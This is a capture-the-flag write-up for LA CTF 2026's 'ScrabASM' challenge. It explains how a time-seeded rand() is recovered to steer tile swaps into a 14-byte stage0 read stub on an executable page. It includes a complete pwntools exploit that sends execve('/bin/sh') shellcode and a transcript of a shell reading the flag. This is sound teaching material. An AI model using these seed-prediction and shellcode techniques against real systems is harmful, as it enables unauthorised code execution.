LA CTF 2026: ScrabASM
TL;DR
- The board is mapped RWX at a fixed address.
- Player tiles are copied directly to the board and executed.
- Tile values come from
rand()seeded withtime(NULL). - RNG state can be reconstructed to build arbitrary shellcode.
Description
Scrabble for ASM!
Solution
Running the binary presents a scrabble-style interface.

Source Code Review
We are given 14 random tiles (bytes) and may repeatedly swap individual tiles before choosing to play. When playing, the tiles are copied into a fixed memory region and executed.
void *board = mmap((void *)BOARD_ADDR, BOARD_SIZE,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
memcpy(board, hand, HAND_SIZE);
((void (*)(void))board)();
The board is RWX, fixed at 0x13370000, and execution begins directly at the copied bytes. There is no validation or sandboxing. The only limitation is that the contents of hand are initially random.
RNG Behaviour
Tiles are generated using rand() seeded with time(NULL):
srand(time(NULL));
for (int i = 0; i < HAND_SIZE; i++)
hand[i] = rand() & 0xFF;
Swapping a tile simply consumes another rand() output:
hand[idx] = rand() & 0xFF;
This makes the entire tile stream predictable once the seed is known.
while (1) {
puts(" 1) Swap a tile");
puts(" 2) Play!");
printf(" > ");
if (!fgets(line, sizeof(line), stdin)) break;
int choice = atoi(line);
switch (choice) {
case 1: swap_tile(hand); break;
case 2: play(hand); return 0;
default: puts(" Invalid choice!"); break;
}
}
Recovering the Seed
The starting hand is printed verbatim. Given the output of rand() & 0xff for 14 consecutive calls, the seed can be brute-forced by searching a window around the current time.
Locally this is trivial. Remotely, the clock skew is small enough that a 10 second window is sufficient. Once the seed is recovered, the full future rand() stream is known.
Constructing Shellcode
The board executes exactly 14 bytes. A small stage0 stub is used that reads additional shellcode from stdin:
0: be 0e 00 37 13 mov esi, 0x1337000e
5: 31 ff xor edi, edi
7: 31 c0 xor eax, eax
9: b2 ff mov dl, 0xff
b: 0f 05 syscall
d: 90 nop
This performs read(0, 0x1337000e, 255). Since execution starts at 0x13370000 and stage0 is 14 bytes, execution falls through to offset 14 (0x1337000e) where stage1 is read.
The goal is to transform the initial random hand into the desired stage0 bytes. This is done by carefully choosing which tile index to overwrite on each swap so that the next rand() output lands at the correct position.
One tile index is designated as a dump slot. Any unwanted rand() outputs are written there. When a generated byte matches a required stage0 byte, it is written to the corresponding index and removed from the remaining set.
Once stage0 is fully assembled, execution is triggered and stage1 is sent over stdin. On average, this requires approximately 1000-1500 swaps, as each needed byte has a 1/256 chance of appearing per rand() call.
Exploit
from pwn import *
import ctypes
import time
import re
import sys
context.log_level = "info"
context.binary = ELF("./chall", checksec=False)
libc = ctypes.CDLL(None)
# Stage0: read(0, 0x1337000e, 255) then fall through to execute stage1
stage0 = bytes.fromhex("be0e00371331ff31c0b2ff0f0590")
stage1 = asm(
"xor esi,esi; xor edx,edx; mov rbx,0x68732f6e69622fff; shr rbx,8; push rbx; mov rdi,rsp; mov al,59; syscall"
)
io = remote(sys.argv[1], int(sys.argv[2])) if args.REMOTE else process("./chall")
# Parse hand
buf = io.recvrepeat(2)
if b"Your starting tiles:" not in buf:
buf += io.recvrepeat(3)
hand = None
for line in buf.splitlines():
if line.count(b"|") >= 15:
xs = re.findall(rb"\b[0-9a-fA-F]{2}\b", line)
if len(xs) >= 14:
hand = [int(x, 16) for x in xs[:14]]
break
if not hand:
exit("Failed to parse hand")
log.info("Parsed hand: %s", " ".join(f"{b:02x}" for b in hand))
# Find seed
def r14(s):
libc.srand(s)
return [libc.rand() & 0xff for _ in range(14)]
now = int(time.time())
window = 10 # window (10 sec) for clock-skew
log.info("Current time: %d", now)
log.info("Searching seeds in range [%d, %d]", now - window, now + window)
seed = next((s for s in range(now - window, now + window + 1) if r14(s) == hand), None)
if seed is None:
exit("No seed")
log.success("Found seed: %d (offset: %d seconds)", seed, seed - now)
# Plan swaps
libc.srand(ctypes.c_uint(seed))
[libc.rand() for _ in range(14)]
dump = 13
remaining = set(range(14))
remaining.remove(dump)
swaps = []
while remaining:
b = libc.rand() & 0xff
pick = dump
for i in tuple(remaining):
if stage0[i] == b:
pick = i
remaining.remove(i)
break
swaps.append(pick)
while True:
b = libc.rand() & 0xff
swaps.append(dump)
if b == stage0[dump]:
break
log.info("Planned %d swaps to build stage0", len(swaps))
# Exploit
log.info("Sending swap commands and playing...")
io.send(b"".join([b"1\n" + str(i).encode() + b"\n" for i in swaps]) + b"2\n")
time.sleep(1 if args.REMOTE else 0.2)
log.info("Sending stage1 shellcode...")
io.send(stage1)
io.interactive()
Running against the remote service:
python exploit.py REMOTE chall.lac.tf 31338
[+] Opening connection to chall.lac.tf on port 31338: Done
[*] Parsed hand: bc 11 b2 92 b7 91 b6 b1 99 9a d9 e4 f1 03
[*] Current time: 1770573423
[*] Searching seeds in range [1770573413, 1770573433]
[+] Found seed: 1770573420 (offset: -3 seconds)
[*] Planned 1086 swaps to build stage0
[*] Sending swap commands and playing...
[*] Sending stage1 shellcode...
[*] Switching to interactive mode
Which tile? (0-13): Tile swapped!
<SNIP>
Playing your word...
TRIPLE WORD SCORE!
$ cat flag.txt
lactf{gg_y0u_sp3ll3d_sh3llc0d3}
Flag: lactf{gg_y0u_sp3ll3d_sh3llc0d3}